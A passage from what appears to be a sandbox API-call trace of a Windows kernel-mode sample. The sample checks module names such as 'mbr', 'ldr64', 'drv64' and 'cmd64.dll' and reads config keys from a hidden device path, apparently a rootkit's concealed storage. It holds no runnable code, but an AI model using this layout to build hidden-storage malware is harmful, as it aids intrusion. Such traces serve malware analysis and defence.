FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.649] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.649] IdePortDispatch () returned 0x103 [0121.649] KeWaitForMutexObject () returned 0x0 [0121.649] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.649] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.649] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.649] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.649] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.649] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.649] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.649] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.649] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.649] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.649] KeLeaveCriticalRegion () [0121.649] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.649] ReleaseMutex (hMutex=0x100) returned 1 [0121.649] Sleep (dwMilliseconds=0x2bf20) [0121.656] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6bb43a10, dwHighDateTime=0x1d24fa4)) [0121.656] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.656] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.656] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.656] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.656] KeEnterCriticalRegion () [0121.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.656] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.656] IdePortDispatch () returned 0x103 [0121.656] KeWaitForMutexObject () returned 0x0 [0121.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.656] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.656] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.656] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.656] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.656] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd61d0 [0121.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.656] KeLeaveCriticalRegion () [0121.656] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.657] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.657] KeEnterCriticalRegion () [0121.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.657] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.657] KeLeaveCriticalRegion () [0121.657] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.657] KeEnterCriticalRegion () [0121.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.657] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.657] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.657] IdePortDispatch () returned 0x103 [0121.657] KeWaitForMutexObject () returned 0x0 [0121.657] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.657] KeLeaveCriticalRegion () [0121.657] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.657] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.657] KeEnterCriticalRegion () [0121.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.657] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6d000 [0121.657] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.657] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.658] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.658] IdePortDispatch () returned 0x103 [0121.658] KeWaitForMutexObject () returned 0x0 [0121.658] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.658] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.658] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.658] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.658] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.658] IdePortDispatch () returned 0x103 [0121.658] KeWaitForMutexObject () returned 0x0 [0121.658] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.658] KeLeaveCriticalRegion () [0121.658] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.659] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.659] KeEnterCriticalRegion () [0121.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.659] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.659] KeLeaveCriticalRegion () [0121.659] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.659] KeEnterCriticalRegion () [0121.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.659] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.659] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.659] KeLeaveCriticalRegion () [0121.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.659] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.659] KeEnterCriticalRegion () [0121.659] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.659] ExFreePoolWithTag (P=0xfffffa8003bd61d0, Tag=0x0) [0121.659] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.659] KeLeaveCriticalRegion () [0121.659] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.659] ReleaseMutex (hMutex=0xf0) returned 1 [0121.659] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.659] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.660] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.660] KeEnterCriticalRegion () [0121.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.660] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.660] IdePortDispatch () returned 0x103 [0121.660] KeWaitForMutexObject () returned 0x0 [0121.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.660] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.660] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.660] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.660] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.660] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6d70 [0121.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.660] KeLeaveCriticalRegion () [0121.660] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.660] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.660] KeEnterCriticalRegion () [0121.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.660] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.660] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.660] KeLeaveCriticalRegion () [0121.660] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.660] KeEnterCriticalRegion () [0121.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.661] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.661] IdePortDispatch () returned 0x103 [0121.661] KeWaitForMutexObject () returned 0x0 [0121.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.661] KeLeaveCriticalRegion () [0121.661] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.661] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.661] KeEnterCriticalRegion () [0121.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6e000 [0121.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.661] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.661] IdePortDispatch () returned 0x103 [0121.661] KeWaitForMutexObject () returned 0x0 [0121.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.661] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.661] IdePortDispatch () returned 0x103 [0121.662] KeWaitForMutexObject () returned 0x0 [0121.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.662] KeLeaveCriticalRegion () [0121.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.662] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.662] KeEnterCriticalRegion () [0121.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.662] KeLeaveCriticalRegion () [0121.662] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.662] KeEnterCriticalRegion () [0121.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.662] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.662] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6e30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.662] KeLeaveCriticalRegion () [0121.662] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.662] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.662] KeEnterCriticalRegion () [0121.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.662] ExFreePoolWithTag (P=0xfffffa8003bc6d70, Tag=0x0) [0121.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.662] KeLeaveCriticalRegion () [0121.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.663] ReleaseMutex (hMutex=0xf0) returned 1 [0121.663] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.663] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.663] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.663] KeEnterCriticalRegion () [0121.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.663] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.663] IdePortDispatch () returned 0x103 [0121.663] KeWaitForMutexObject () returned 0x0 [0121.663] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.663] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.663] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.663] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.663] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.663] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6860 [0121.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.663] KeLeaveCriticalRegion () [0121.663] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.663] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.663] KeEnterCriticalRegion () [0121.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.663] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.663] KeLeaveCriticalRegion () [0121.663] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.663] KeEnterCriticalRegion () [0121.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.663] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.663] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.663] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.663] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.663] IdePortDispatch () returned 0x103 [0121.664] KeWaitForMutexObject () returned 0x0 [0121.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.664] KeLeaveCriticalRegion () [0121.664] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.664] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.664] KeEnterCriticalRegion () [0121.664] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b6f000 [0121.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.664] IdePortDispatch () returned 0x103 [0121.664] KeWaitForMutexObject () returned 0x0 [0121.664] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.664] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.664] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.664] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.664] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.664] IdePortDispatch () returned 0x103 [0121.664] KeWaitForMutexObject () returned 0x0 [0121.664] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.664] KeLeaveCriticalRegion () [0121.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.665] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.665] KeEnterCriticalRegion () [0121.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.665] KeLeaveCriticalRegion () [0121.665] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.665] KeEnterCriticalRegion () [0121.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.665] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.665] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.665] KeLeaveCriticalRegion () [0121.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.665] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.665] KeEnterCriticalRegion () [0121.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.665] ExFreePoolWithTag (P=0xfffffa8003bd6860, Tag=0x0) [0121.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.665] KeLeaveCriticalRegion () [0121.665] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.665] ReleaseMutex (hMutex=0xf0) returned 1 [0121.665] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.665] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 